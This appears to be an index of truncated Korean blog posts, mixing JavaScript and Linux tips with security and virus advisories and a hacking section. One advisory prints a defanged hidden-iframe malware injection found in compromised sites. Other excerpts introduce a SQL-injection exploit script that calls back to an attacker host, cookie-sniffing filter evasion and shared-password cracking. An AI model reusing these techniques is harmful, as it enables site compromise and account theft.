[JAVASCRIPT]  IE6~7, FF, OP,SA 호환 퀵메뉴 페이지에 삽입해야할 리스트 메뉴혹은 적용 하고자 하는곳에 ID 값만 주시면됩니다.<ul id="STATICMENU"> <li><img src="/page/img/sb_quick_title.gif"></li> <li><a href="/page/?14"><img src="/page/img/sb_quick_btn_01.gif"></a></li> <li><a href="/page/?14">&...
[JAVASCRIPT]  슬라이드 팝업 - 아이프레임, 이미지 팝업 JS 파일 인클루드<script type="text/javascript" src="/js/slide.js" ></script>페이지에 추가 DIV<!-- [SRT] Zoom Images DIV --><div id="SLB_film" style="z-index: 99997; position:absolute; display:none; width:100%; height:100%; background-color:#000000; filter:Alpha(opacity=60); opacity:0.6; ...
[JAVASCRIPT]  구조와 행동의 분리 우리가 모든 CSS 들을 별도의 파일에 놓고 스타일 속성이나 기타 다른 표현적 마크업들을 삼가함으로써 구조와 표현을 분리하는 것과 마찬가지로, HTML 구조와 자바스크립트 행동들을 분리해야 한다. 이유는 동일하다: 당신의 관심영역을 분리하고, 당신의 코드를 깔끔하게 해주며, HTML 이나 CSS에 손 댈 필요 없이 자바스크립트 작업을 할 수 있게 해준다. 기본적인 규칙은 간단하다: HTML 파일은 자바스크립트 코드를 포함하면 안된다 - CSS를 포함하지 않아야 하는 것과 마찬가지로 말이다. 자바스크립트 개발자들이 HTML 파...
[JAVASCRIPT]  현재 페이지의 사이즈, 인코딩, 경로, 도메인 referrer, 타이틀, 배경색 글자색 <a href=http://www.virhac.com>페이지 사이즈 : <script>document.write (document.fileSize+"Byte");</script><br>인코딩 : <script>document.write (document.charset);</script><br>현재페이지경로 : <script>document.write (document.location);</script><br>도메인 : &...
[JAVASCRIPT]  프레임 소스보기 막기 <script language="Javascript">if(parent.frames.length <= 0) { top.location.href=http://www.virhac.com; }</script> 프레임을 쓰는 홈페이지에서 프레임 페이지가 아닌 하위 프레임으로 직접 들어갔을 때 http://www.virhac.com으로 이동하는 예제입니다head에 넣어주세요
[JAVASCRIPT]  팝업창에서 부모창의 폼으로 값을 넘긴후 부모창의 폼 submit 시키기 ## 팝업창 소스 <script language=javascript> opener.document.부모창폼네임.값을넣을태그명.value = 팝업창폼네임.값을입력받은태그명.value; opener.document.부모창폼네임.submit(); self.close(); </script>     EX) ## 팝업창 소스 <script language="javascript"> var frm = document.frm;   opener.document.frm_update.sel...
[JAVASCRIPT]  웹페이지 대화상자 스크립트 코소스 <?function Dialog(url){ var win = showModalDialog('blank:about;', 'dialogWidth:500px; dialogtop=50%; dialogleft=50%; dialogHeight:600px; center=yes; screenTop=yes; scroll=no; status=no; help=no;');}?>
[JAVASCRIPT]  카운트 다운 초 후 지정 된 페이지로 이동합니다. [이 게시물은 VIRHAC님에 의해 2009-09-13 14:40:37 HTML에서 이동 됨]
[JAVASCRIPT]  바뀐 주소로 자동 이동 페이지가 열리면서 지정 된 곳으로 자동으로 이동 됩니다. 홈페이지의 주소가 바뀐 경우 특별히 알려 줄 필요가 없겠죠? location.replace("http://yahoo.co.kr"); [이 게시물은 VIRHAC님에 의해 2009-09-13 14:40:37 HTML에서 이동 됨]
[JAVASCRIPT]  시작페이지, 즐겨찾기 시작페이지 시작페이지 즐겨찾기 var favoriteurl="http://" var favoritetitle="홈페이지 제목" function addfavorites(){ if (document.all) window.external.AddFavorite(favoriteurl,favoritetitle) } 즐겨찾기 [이 게시물은 VIRHAC님에 의해 2009-09-13 14:40:14 HTML에서 이동 됨]
[JAVASCRIPT]  자바스크립트로 풀스크린 띄우기 또한 함수 호출 예로는 이렇게 지정 해주시면 되겠네요. 이미지링크 사용 예제) 텍스트링크 사용 예제) 링크될 텍스트 [이 게시물은 VIRHAC님에 의해 2009-09-13 14:39:33 HTML에서 이동 됨]
[JAVASCRIPT]  아이프레임 높이 자동변경 iframe 높이 자동으로 설정하기 이번에는 홈페이지 제작시 유용하게 사용되는 iframe 에서 내용물(?)의 길이에 맞춰 자동으로 높이가 조절되게 하는 방법을 알아봅니다. 우선 두개의 소스문이 있습니다. 높이를 자동으로 조절하기 위한 스크립트문과 아이프레임 삽입코드입니다. 첫번째 소스 아래소스는 자바스크립트문입니다. 이 소스를 Html문서에서 body 문 아래에 삽입합니다. (스크립트문은 위치에 따라 큰 차이는 없지만 윗 부분에 차례로 정리해야 나중에 수정하거나 관리에도 좋습니다.) 두번째 소스 ...
[JAVASCRIPT]  오른쪽버튼 금지 및 드래그금지 태그 위에 소스를 드래그금지해야할 페이지 상단 및 하단에 삽입해 주세요 제로보드 페이지별 outlogin.php 소스에 삽입해도 됩니다. [이 게시물은 VIRHAC님에 의해 2009-09-13 14:39:33 HTML에서 이동 됨]
[JAVASCRIPT]  페이지 자동 이동 태그입니다. Html 프로그래밍을 하다가 보면 이 페이지를 읽고 난 다음 자동으로 어디 페이지로 보내고 싶을 때가 있습니다. 그리고 기타 등록을 하고 난 다음에 몇 초 있다가 메인 페이지로 가는 것을 본적이 있을 겁니다. 그 경우엔 META 태그를 사용하는데, 한번 알아 보도록 하겠습니다. 여기에 사용되는 태그는 모두 한줄로 가능한데, META 태그를 한번 보도록 하겠습니다. 위의 태그를 적당한 페이지 속에 삽입하는 것으로 페이지 이동 팁은 끝납니다. 한가지씩 설명을 드리면, META 태그는 문서의 부가적인 정보를 제공...
[JAVASCRIPT]  페이지 이동방법 1. 2. location.href="이동되어질 주소"; parent.프레임명.location.href="이동되어질 주소"; window.open("이동되어질 주소"); 3. 4. [이 게시물은 VIRHAC님에 의해 2009-09-13 14:39:33 HTML에서 이동 됨]
[JAVASCRIPT]  특정 IP를 차단시키는 스크립트 부분에 삽입해 주세요. var ip = '차단할 IP주소' if (ip == '차단할 IP주소') { alert("STOP!당신의 IP는 현제 페이지에 접속이 불가능 합니다"); alert("다른 홈페이지 주소로 이동 됩니다."); if (confirm("다른 홈페이지로 가시겠습니까?, 아니면 자동으로 이동 하시겠습니까?")) {location.href="http://kr.yahoo.com" } else { ("좋습니다. 다른 홈페이지로 이동하겠습니다.^.^"); {location.href="http://kr.yahoo....
[JAVASCRIPT]  html 파일에 권한걸고 원하는권한이아닐경우 다른주소로 내보내기 html.php 모두 사용가능하구요 이렇게 권한을 걸어놓으면 해당레벨이 안되는회원은 저절로 부드럽게 다른주소로 이동하게됩니다 //아래꺼 쭉 복사해서 붙여넣기한다음 자신에게맞게;;수정!//////////////////////////// 관리자페이지입니다~~ /////////////// 제일위에 절대경로.제로보드경로 저것은 최근게시물을 달때 제일위에써주는것과일치하구요 이부분 을 잠깐설명하자면;; 멤버 회원의레벨이 1보다 더클경우 페이지를이동 "레벨1이아닌경우내보내래주소" 뭐 이렇습니다.....
[JAVASCRIPT]  ★ HTML 페이지 소스복사 스크립트 옛날에 유행했던 소스복사 자바스크립오늘 직장동료가 어디서 구했는지 넘겨주네요javascript:a=document.body.innerHTML;window.clipboardData.setData("Text",a);void(0);위의 스크립을 url 창에 넣으면 현재 열린 페이지 소스가 복사됨
[JAVASCRIPT]  아이프레임 자동리사이즈 1. 아이프레임 소스 필요에 따라 topmargin=0 leftmargin=0 을 추가하실수도 있습니다...ㅡ.ㅡ 링크의 타겟지정하실때는 name 이 이용되는거 아시죠? ^^ src 는 알아서 맞추시구요... (제로보드일경우의 예제: src="/bbs/zboard.php?게시판아이디") id 에 주의하십시오... ( id 는 꼭 있어야 함, 따옴표로 감싸주시길 권장, id 변경시 내부페이지의 스크립트에서도 한줄 변경해야함, 아이프레임 여러게 사용시 아이프레임과 내부 페이지의 스크립트에 동일하게 각각 다른아이디를 적...
[JAVASCRIPT]  오른쪽 마우스 클릭하면 즐겨찾기. 옛날에는 글이나 그림을 복사하기 위해서 마우스 오른쪽 클릭을 누르는 일이 많았습니다. 그래서 복사하는 것도 어느정도 막고 벌(?)로 즐겨찾기 창도 뜨게 만드는 용도로 쓰기도 했죠. 그런데 지금은 많은 사람들이 단축기나 캡쳐 프로그램 등 여러가지 방법으로 복사를 하기 때문에 마우스 우측클릭의 회수는 많이 줄어 들었습니다. 그래도 일부 사람들이 우측 클릭을 이용하여 복사하고 또는 그냥 심심해서 눌러보는 사람들을 위해서 쓰면 될 것 같습니다. 어쨌든, 컨텐츠가 좋은 홈페이지라면 뜻 밖의 즐겨찾기 창을 보고 즐겨찾기를 '할까?',...
[JAVASCRIPT]  상황표시줄 타이핑 js 코딩 [출처] [본문스크랩] [자바스크립트]유용 소스 37가지|작성자 파니핑크 [이 게시물은 VIRHAC님에 의해 2009-09-13 14:33:19 HTML에서 이동 됨]
[JAVASCRIPT]  페이지 이동 자스 location.href='주소'; 요건 페이지 이동 할때 많이 쓰죠. 하지만 submit페이지에서 사용시 뒤로 하기 하면 그페이지로 다시 들어올수있다는 문제가 있지요. 그래서 location.replace('주소'); 이렇게 쓰면 뒤로가기를 막아준다네요~ [출처] 페이지 이동 자스|작성자 파니핑크 [이 게시물은 VIRHAC님에 의해 2009-09-13 14:33:19 HTML에서 이동 됨]
[JQUERY]  유효한 마크업 코드 XML을 사용하지 않고도 Ajax 애플리케이션을 만들 수 있습니다. 그러나 Ajax의 사용 여부와는 관계 없이 모든 웹사이트의 기초가 되는 또 다른 마크업 언어가 있습니다. HTML(Hyper Text Markup Language)는 월드와이드웹의 공용어입니다.HTML은 웹에서 내용을 의미 있는 구조로 만드는 데 사용됩니다. 마크업 언어는 웹 페이지를 만드는 데 내용 다음으로 중요하고 유용한 도구입니다. 마크업이 적법한지를 확인하는 가장 간단한 방법은 마크업이 유효한가를 확인하는 것입니다. 마크업의 유효성을 확인하는 가장 좋...
[JQUERY]  [jquery 기초] 이벤트 처리 다운로드 : http://docs.jquery.com/Downloading_jQuery 이곳에서 최신버젼(1.2.6)을 다운로드 받아 소스에 추가한다. 1. HMTL로드시 수행하는 코드 (1)자바스크립트 window.onload = function(){   alert("시작"); }   (2)jQuery $(document).ready(function(){   alert("시작"); });   2. 객체 클릭시 이벤트 발생(a태그를 클릭했을시 해당 스크립트가 동작한다.) (1)자바스크립트 &...
[JQUERY]  웹 개발의 새바람「AJAX를 아시나요?」 새로 부상중인 웹 개발 기법 하나가 PC 소프트웨어의 현 상태를 타개하면서 데스크톱과 웹 애플리케이션의 경계선을 불투명하게 만들고 있다. AJAX는 지난 8년간 표준화된 일련의 개발 기법들로 웹 애플리케이션에 보다 발전된 인터페이스를 도입함으로써 이 모든 것을 바꿀 수 있다. 지난 수년간 데스크톱 애플리케이션이 특정 운영체제에 묶인 것은 컴퓨터 개발에 있어서 확고히 자리잡은 형태가 됐다. AJAX 지지자들은 명실상부한 시장의 리더인 MS 오피스와 같은 데스크톱 소프트웨어의 지배력에 영향을 주길 희망한다. 메시징 벤처...
[JQUERY]  팝업창 띄우지 않고 아이디 중복확인 하기 ** 1 . 따로 중복확인을 누르지 않고 아이디를 입력하고 포커스를 옮기는 순간 중복확인이 체크된다 ** 2 . 중복확인 승인을 받은 후 다시 아이디를 고쳤을 경우도 체크된다 ** 3 . check_id() 에들어있는 유효성체크 함수들은 여기에 표시하지 않았다 유효성 체크를 위해서는          해당 함수들을 따로 선언해야 한다 ** 4 . 모든 유효성 체크는 check_id() 에서 실시하고 submit 시킬경우 공백체크만 &nbs...
[LINUX]  리눅스 메일 관리 - linux mail manage [실행]#mail[1번 메일 읽기]>n 1(다음라인 보기) 메일읽기 상태에서 엔터키(다음페이지 보기) 메일일기 상태에서 스페이스[1번~2번 메일 삭제]>d 1-2[종전 실행 저장 나가기]>q[유저 메일 읽기]mail -u 유저명[리스트 출력]>h
[LINUX]  RC4 알고리즘 연결 차단으로 https 접속시 SSL오류 (ERR_SSL_VERSION_OR_CIPHER_MISMATCH) 최근 Google Chrome 48 버전이 업데이트되면서, RC4로 시도되는 연결을 차단하도록 패치됐습니다.현재 Chrome 브라우저에서만 문제가 발생하고 있지만, 추후 Internet Explorer와 Firefox 등에서도 RC4 연결을 차단할 예정이기 때문에 미리 대비하시는 것을 권고드립니다.[IE 오류메세지]이 페이지에 안전하게 연결할 수 없음사이트가 만료된 또는 안전하지 않은 TLS 보안 설정을 사용하기 때문일 수 있습니다. 이 문제가 계속 발생하면 웹 사이트 소유자에게 연락하세요.다음을 시도해 보세요.[Chrome ...
[LINUX]  PHP 라이브러리 설치 1. zlib - 압축 관련 라이브러리 - 홈페이지 : http://www.zlib.org 또는 http://www.gzip.org/zlib/ #cd /usr/local #wget http://ftp.superuser.co.kr/pub/etc/zlib-1.2.3.tar.bz2 #tar xvfj zlib-1.2.3.tar.bz2 #cd zlib-1.2.3 #./configure #make #make install #cd .. #rm -rf zlib-...
[LINUX]  리눅스의 거의 모든 명령어 > LINUX Reference Guide < ■ adduser : 사용자를 새로 등록한다. 설명 이것은 슈퍼 유저만이 사용할 수 있다. 명령을 입력하면 로그온 이름 등을 차례로 물어오며, 그에 따라서 알맞게 입력해 나가면 된다. ■ Enter login name for new account (^C to quit): blade ■ Editing information for new user [blade] ■ Full name: Park Chan Wook ,,사용...
[보안정보]  멀웨어[malicious software, malware], 랜섬웨어[ransom ware] 멀웨어[malicious software, malware]바이러스나 트로이 목마와 같이 시스템에 해를 입히거나 시스템을 방해하기 위해 특별히 설계된 소프트웨어, 또는 데이터ㆍ컴퓨터ㆍ네트워크를 위험에 노출시킬 수 있는 코드. 악성 소프트웨어(malicious software), 또는 악성 코드(malicious code)에서 나온 말로, 남에게 피해를 입히기 위해 개발된 소프트웨어를 의미한다. 최근의 멀웨어는 첨부 파일을 열어 보거나, 소프트웨어를 다운받아 설치하는 종래의 통념을 벗어나 단지 유명 검색 페이지의 링크나 이미지를 ...
[보안정보]  8대 웹 취약점 목록 1.디렉토리 리스팅 취약점 홈페이지의 속성을 설정하는 “웹사이트 등록정보”에 특정 디렉토리에 대하여 - IIS 웹 서버 : ‘디렉토리 검색’ 항목이 체크- Apache 웹 서버 :  ‘httpd.conf 파일’에서 ‘Indexes’옵션이 On되어 있는 경우에 인터넷 사용자에게 모든 디렉토리 및 파일 목록이 보여지게 되고, 파일의 열람 및 저장도 가능하게 되어 비공개 자료가 유출될 수 있다.   2. 파일 다운로드 취약점게시판 등에 저장된 자료에 대해 ‘다운로드 스크립트’를 이용하여 다운로드 기능을 제공하면서...
[보안정보]  쿠키를 통한 개인 정보 유출을 대비하는 방법 ◈ 쿠키 고객이 특정 홈페이지를 접속할 때 생성되는 정보를 담은 임시 파일로 크기는 4KB 이하로 작다. ◈ 쿠키를 통한 개인정보 유출 쿠키는 애초 인터넷 사용자들의 홈페이지 접속을 돕기 위해 만들어졌다.특정 사이트를 처음 방문하면 아이디와 비밀번호를 기록한 쿠키가 만들어지고 다음에 접속했을 때 별도 절차 없이 사이트에 빠르게 연결할 수 있다.즉, 쿠키는 서버(사이트 운영자)가 클라이언트(사용자)측에 개인 정보를 저장해 두었다가 추후 그 정보를 뽑아내기 위해 만들어진 파일이다.이렇게 사용자의 편의를 위해 만들어진 쿠키가 지금은...
[보안정보]  정보보안의 기본 용어 정리 정보보안의 기본 용어 정리   *가짜 메일(Fake mail, Fraud mail)보낸 사람을 숨기거나 다른 사람으로 위장한 채 상대방에게 보낸 전자 메일을 뜻하는 것으로, 메일 발송 시스템을 조작하여 다른 사람의 이름 및 주소 또는 완전히 가공된 이름과 주소에서 발송한 것으로 가장하여 상대에게 메일을 보내는 것이다. 초기에는 장난 삼아 시작된 것이지만, 점차 타인을 정신적으로 괴롭힐 목적으로 심한 욕설과 비난, 공격적 언어, 성희롱을 담은 메일을 보내는 일종의 사이버 테러, 사이버 스토킹의 수단으로 사용되기도 한다....
[보안정보]  정보보호를 고려한 홈페이지 구축의 필요성 ::정보보호를 고려한 홈페이지 구축의 필요성홈페이지 서버를 포함한 정보시스템의 정보보호를 제공하는 방법은 일반적으로 추가(Add-on) 방식과 내장(embedded) 방식의 두 가지 방법이 있다.추가 방식은 정보시스템의 설계 또는 구축 이후에 정보보호 제품이나 정보보호 시스템을 추가 구현하는 방식이다. 홈페이지 서버 보안을 위해서도웹 방화벽과 같은 추가적인 보안장비를 도입하는 것이 추가방식이라 할 수있다. 이 방법은 정보보호 요구사항이 시스템 설계에 충분히 반영되지 않았을 경우 적용할 수 있는 방법이지만 정보보호 제품과 정보 ...
[바이러스정보]  세계 권위 <바이러스 블러틴> 평가 기준으론 "안철수연구소는 우물안 개구리" 실상을 알게되면 전혀 아니다. 바이러스 불러틴의 홈페이지(www.virusbtn.com)를 가보면 VB100 인증을 받은 개별회사 제품에 대한 테스트 과정을 자세히 살펴볼 수 있다. 여기서 안철수연구소는 2003년 이래 29번의 테스트에서 17번 테스트 성공하고 12번 실패한 것으로 나타난다. 테스트 성공률은 대략 58% 에 불과하다( http://www.virusbtn.com/vb100/archive/vendor?id=32 ).대표적으로 ESET의 경우 총 73번 테스트 중 70번을 성공하고 단 3번만 실패했다( http:/...
[바이러스정보]  피싱(Phishing)이란? - 1 - 피싱(Phishing)이란? 개인정보(Private Data)와 낚시(Fishing)의 합성어로 유명업체의 위장 홈페이지를 만든 뒤, 불특정 다수 이메일 사용자에게 메일을 발송해 위장된 홈페이지로 접속하도록 현혹하여 개인정보를 빼내는 행위입니다. - 2 -피싱 예방 체크리스트 1) 신원이 불명확한 첨부 파일은 열지 말고, 최신 버전으로 업데이트 된 바이러스 백신을 설치한다. 2) 금융기관으로부터 개인정보, 계좌정보 등의 업데이트를 요구하는 e메일을 받으면 클릭하지 말고, 해당 금융기관 사이트에 가서 직접 확인한다. ...
[바이러스정보]  백신만 가지고 왜 악성코드를 못잡을까요? 인터넷에 연결된 PC는 수많은 위험에 노출되어 있다. 갈수록 지능화되고 있는 온갖 종류의 보안 위협들은 교묘한 함정을 파놓고 허술한 PC를 호시탐탐 노린다. 그렇다면 악성코드, 피싱, 트로이 목마와 같은 골치아픈 문제들로부터 벗어나는 완전히 방법은 없는 것일까? 많은 사용자들이 보안 상태가 취약한 PC를 사용하면서도 이를 인지하지 못해 개인 정보 유출의 위험에 노출되어 있는 것이 현실이다. 그리고 이러한 상황은 대부분 보안 제품의 기능에 대한 오해에서 비롯된다. 예를 들어, 단순히 바이러스만 막아주는 제품이 설치된 PC를 사용...
[바이러스정보]  스파이웨어란 무엇이며 증상 및 유형은? 스파이웨어란?MalWare(악성 프로그램)란 Malicious Software(악성 소프트웨어)의 준말로서 유해하거나 예측하지 못한 프로그램 또는 바이러스, 트로이목마, 드로퍼와 같은 코드를 말합니다. 모든 악성 프로그램이나 코드가 바이러스는 아니지만 바이러스는 웜을 포함하여 최근까지 알려진 모든 악성 프로그램 중 대부분을 차지합니다. 악성 프로그램의 또 다른 주요 유형에는 트로이의 목마, 드로퍼 및 키트가 있습니다. 악성 코드나 악성 프로그램의 여러가지 측면으로 인해 악성 프로그램이라 부르면 혼동을 피할 수 있습니다. 예를 ...
[바이러스정보]  MS IE Style Object 제로데이 취약점으로 인한 피해 주의 1. 설명   영향을 받는 시스템에서 특수하게 조작된 웹페이지에 방문할 경우 CSS/Style object를 처리하는 과정에서 원격코드가 실행되는 취약점이 발견되었습니다.   2. 영향을 받는 소프트웨어  - MS Internet Explorer 6, 7   3. 임시 방안   현재 해당 취약점에 대한 보안업데이트는 발표되지 않았기 때문에 신뢰할 수 없는 사이트에는 방문을 자제해주시기 바랍니다.     보안 업데이트가 발표되기 전까지 J...
[바이러스정보]  Antivirus Pro 2010 치료 방법 Antivirus Pro 2010 같은 허위 백신 관련해서 치료 방법을 물어보시는 분들이 많은데 안철수연구소 고객지원이나 V3 Lite 홈페이지에 내용이 나와 있는데 잘 못보시는거 같아서 가져와봤습니다. 출처는 http://v3lite.com/customer/faq/view.do?seq79 입니다.   ----------------------------------------------------------------------------------------- 악명 높은 PC Antispyware 2010의 ...
[바이러스정보]  JS/Exception.Exploit 바이러스 웹 서핑을 하다보면 자신도 모르는 사이에 웹 브라우저의 초기 화면이 전혀 다른 곳으로 변경되는 경우나 즐겨찾기 메뉴에 자신이 등록도 하지 않는 사이트가 등록이 된 경우 또 다르게는 아웃룩(익스프레스)의 명함설정에 자신이 설정하지 않는 내용과 URL 이 들어가 메일을 받는 분에게 불쾌감을 주는 경우가 있다. 위와 같은 방법은 주로 성인 사이트나 광고효과를 극대화하는 등의 웹 사이트들이 처음 방문자들에게 빠르게 다시 해당 사이트를 다시 접속할 수 있도록 하기 위하여 웹 페이지를 제작하는 것이 보통 이지만 이것은 "Microso...
[바이러스정보]  악성 코드 대응지침 I. 주의예방법 1. 정기적으로 백신프로그램 및 응용 프로그램 보안 업데이트 o 운영체제 및 MS사 응용프로그램 업데이트 업데이트나 패치작업이 서버 시스템에만 필요한 것은 아니다. 그러나 일반 PC이용자들은 자신 이 설치한 운영체제나 응용프로그램에도 보안상 취약점이 생길 수 있다는 사실을 모르거나, 크 게 관심을 두지 않는 경우가 많은데, 보안상 악성코드들의 주요 공격목표가되는 Microsoft社의 OS나 응용프로그램들에 대한 보안권고 사항을 주시하여, 권고사항을 따라야한다. 백신사들 마다 다소 ...
[바이러스정보]  웰치아(Win32/Welchia.worm) RPC DCOM 취약점을 이용하여 전파된다. - WebDAV 취약점 관련 코드를 가지고 있다. - Win32/Blaster.worm.6176가 실행중이라면 강제로 종료하고 파일을 삭제한다. - RPC DCOM 관련 보안패치가 안된 경우 패치파일을 다운로드하여 실행한다. - TCP 707 포트가 오픈된다. 내용 Win32/Welchia.worm.10240 는 RPC DCOM 취약점을 이용하여 전파되는 웜으로서 안철수연구소는 2003년 8월 18일 오후부터 다량 접수 받았다. 이 웜은 RPC DCOM 취약...
[바이러스정보]  바이러스 예방법 ▷ 감염되지 않은것이 확인된 깨끗한 도스 디스켓에 쓰기방지 탭 (write-protect tab)를 붙여서 비상시 사용할 수 있도록 준비해 둔다. ▷ 중요한 프로그램이나 자료는 항상 백업(backup)해놓는다. ▷ 상업용 소프트웨어는 불법 복사를 하지 않고 정품만을 사용한다. ▷ 셰어웨어나 공개 소프트웨어는 컴퓨터 전문가가 오랫동안 문제없이 사용하고 있는 것을 복사해오거나, 통 신을 통해서 받는 경우에는 등록된지 1주일이상 경과했고 다른 사람들이 문제없이 사용하고 있는 것을 받 는다. ▷...
[백신자료]  악성코드가 악용하는 윈도우의 정책 악성코드는 종종 윈도우의 정책을 변경함으로써 사용자에게 불편을 야기하기도 한다. 백신이 정책이 변경되었을 때 바로 탐지하여, 진단하고 원상복구 시켜준다면 더할 나위 없이 좋겠지만, 이는 윈도우에서 정상적으로 지원하는 시스템이고, 사용자나 사용업체에 따라 일부러 변경하고 사용하는 곳이 있기 때문에, 일괄적으로 치료하기가 힘들다. 이번 칼럼에서는 어떠한 정책들이 있으며, 어떻게 해야 수정이 가능한지 살펴보기로 한다.1. 레지스트리레지스트리는 윈도우의 각종 설정 등이 저장되는 공간이다. Regedit.exe 프로그램으로 쉽게 편집이...
[백신자료]  “악성코드, 내 손으로 제거해보자” 1. 악성코드의 형태 악성코드는 대부분 스스로 실행 가능한 .exe 형태이거나, 다른 프로세스에 인젝션 되어 실행되는 .dll형태로 존재한다. 이번 칼럼에서는 간단하게 .exe형태의 악성코드를 제거해보도록 하겠다. 왜냐하면 .exe형태의 프로세스가 .dll형태의 악성코드보다 인지하는게 수월하기 때문이다. 2. 유용한 확인/제거 툴 ㄱ. Process Explorer 작업관리자로도 .exe형태의 파일을 볼 수는 있지만, 프로세스명만 나오기 때문에 많이 부족하다.이를 보완해줄수 있는 툴이 Process Explorer이다. 이...
[백신자료]  온라인검사 서비스 백신 홈페이지상에서 직접 바이러스/스파이웨어를 점검 할수 있는 서비스이며 국내외 주요 백신 업체에서 제공하고 있습니다. 점검은 무료이나 치료는 유료인 경우가 많이 있습니다.
[리눅스해킹]  싱글어택!! ( Single Attack ) 우선... 이곳에 한번 방문해 보세요.(http://welcome.to/avspasswords/) Quin's AVS Password 이곳뿐이 아닙니다. 많은 곳에 싱글패스들이 뿌려져 있습니다. 그래서 궂이 이런 공간을 마련해서 싱글어택을 올릴 필요가 없을 수도 있지만!! 자기만의 싱글패스워드를 가지고 있으면 패스가 죽을 확률도 그만큼 없어지니 좋지 않겠어요? 그리고 필요할 때마다 그때그때 심심풀이로 뚫어서 무료같이 쓸 수도 있고 말이죠. 녜. 그만큼 싱글패스는 얻기도 뚫기도 쉽습니다. 그리고 위에 링크한 사이트에 가...
[리눅스해킹]  문자로 표시된 디렉토리로 이동하는 방법은 무엇인가? directory 이름에 이상한 문자가 표시되어 있으면,자료를 숨기려고 하거나 상업적 용도의 프로그 램인 경우가 많다. 그러한 문자를 알아내는 방법들은 몇가지가 있는데,먼저 ls명령어를 이용하는 방법을 살펴보자. ls 의 도움말을 보면 다음과 같은 내용이 있다. -F 디렉토리는 ``/'',실행가능한 파일에는 ``*'', 연결고리에는 ``@'' 라는 표시를 만들어 준다. -q 파일명에 들어있는 비그래픽 문자들을 ``?''로 표시해 준다. -b \ddd에 들어있는 비그래픽 문자들을 8진수로 ...
[해킹정보]  스푸핑이란 무엇일까요? 우리는 스파이 첩보 영화에서 주인공이 자신을 노출시키지 않기 위해 남의 신분으로 위장하는 경우를 자주 볼 수 있습니다. 이때 주로 사용하는 방법이 주민등록증, 운전면허증 등의 신분증을 위조하거나 신체적인 특징인 얼굴, 지문, 목소리 등을 변조하는 것입니다.이 모든 것들이 특정 사람을 인식하는 방법을 우회 통과하기 위한 방법입니다. 마찬가지로 네트워크 상에서도 악의적인 혹은 비밀스러운 활동을 시도하려는 사람들은 먼저 자기 자신을 감추는 방법을 생각하게 됩니다. 다만 네트워크 상에서 해당 사용자(혹은 해당 호스트)를 식별하는 정보...
[해킹정보]  FTP 계정 유출을 통한 악성코드 삽입 대처 하자 ! 최근 ftp 계정 정보가 유출되어 홈페이지에 악성코드가 삽입되는 사례가 급격히 늘고 있습니다. 감염된 pc 사용자가 웹 사이트 파일을 관리 하는 ftp 클라이언트 프로그램을 가지고 ftp 접속을 할 경우 id 와 password 를 빼내어 해당 웹사이트 파일 이름이 index ,main 으로 되어 있는 파일들을 변조해서 악성코드를 다운받도록 코드를 심어 놓은 방식으로 진행이 되고 있습니다.   홈페이지 파일 내에서 악성코드를 지우는 것으로 만은 문제가 해결되지 않도록 진화하고 있는 실정입니다. 이 때문에 본의 아니게...
[해킹정보]  index, main파일 아이프레임악성코드 대처 어느 날 갑자기 멀쩡하던 홈페이지 레이아웃이 엉망으로 바뀌면서 관리자 페이지도 못들어가는 증상이 발생하여 index.php 소스를 내려받아 코드를 살펴보니 원래는 없던 코드가 아이프레임 방식으로 히든처리되어 심어져 있습니다. 코드는 <iframe src="./hxxxxxp://bestfindaloan.cn:8080/index.php" width=116 height=188 style="visibility: hidden"></iframe> 식입니다. 주소는 매우 다양합니다 (6월6일자 보고에 의하면 48,00...
[해킹정보]  sql 인젝션용 스크립트 제작 SQL 인젝션을 익스플로잇하기 위한 스크립트 제작 vulnerablesite.com의 웹 서버는 MS SQL 데이터베이스에 sa 권한으로 접속하지 않았다. 따라서 바로 스토어드 프로시저 실행과 같은 상위 권한이 필요한 작업들은 실행이 불가능했다. 따라서 다음과 같이 다른 MS SQL 서버에 접속해 명령을 실행하는 스크립트를 짜고 여러 서버에 대해 명령을 실행해 보았다. 해당 서버에서 명령 실행이 잘 됐는지 여부는 ping이나 telnet으로 공격자의 컴퓨터로 패킷을 보내도록 하고, tcpdump로 그 패킷을 모니터링하는 방법...
[해킹정보]  메일서비스에서 자바스크립트 금지를 회피하기 예전에 쿠키 스니핑이 이슈가 된적이 있었죠? 지금도 쿠키 스니핑이 되는 것들이 많이 있습니다. 이 쿠키 스니핑이 이슈가 된 후에 많은 메일 서비스 회사들이 쿠키 스니핑에 이용되는 javascript 를 사용하지 못하도록 막아놓았습니다. 특정 문자열을 다른 문자열로 바꾼다던지 하는 방법들을 사용해서 막은 것이죠. (그런데 어떤 회사들은 아예 대처를 하지 않았더군요. 여기선 그나마 대처를 해놓은 서버들에 대한 필터링 방법에 대해서 이야기합니다.) 하지만 이 것들을 다른 방법으로 피해갈 수 있습니다. 먼저 그 ...
[해킹정보]  해커가 알아야 할 30 가지 1. 유닉스 기존의 대형 network는 대부분 유닉스를 기반으로 구성되어 있었으며 해커들은 여기서 자양분을 공급받았고 해킹을 해왔다. 그러므로 당연히 알아야 된다. 2. 리눅스 리눅스는 유닉스와 비슷한 형태의 운영체제로 PC 에서구동될 수 있도록만든 유닉스 비슷한 운영체제라고 보면된다. 명령도 거의 비슷하고 커널 구조도 거의 흡사해서 유닉스 사용자는 리눅스를 무리없이 쓸 수 있고 유닉스 해킹법은 리눅스에서도 거의 통한다. 3. 윈도우95/98/2000/NT/ME 요즘대부분의 개인 PC 사용자들이 윈도우시리즈...
[해킹정보]  스캐너의 활용 ※ Scanner의 활용 예전부터 전략과 전술중 가장 선행되어야 할것이 知彼知己였다..이 불변의 진리는 오늘날의 Hacking에도 적용되느니.... 오늘은 知彼에 해당하는 스케너의 종류를 알아보고 효율적인 attack을 위한 스케너의 활용에 대해서 공부해 봅시다. 1. 스케너란? 스케너란 시스템의 보안상 헛점을 찾아내는 보안도구를 의미한다. 간단하게 포트스켄 뿐만이 아니라 여러가지 버그 및 알려진 보안상의 문제점등과 또한 시스템 관리차원의 내부 스케너도 있다. 스케너의 종류는 무진장 많지만 크게 나누다면 다음과 같다. ...
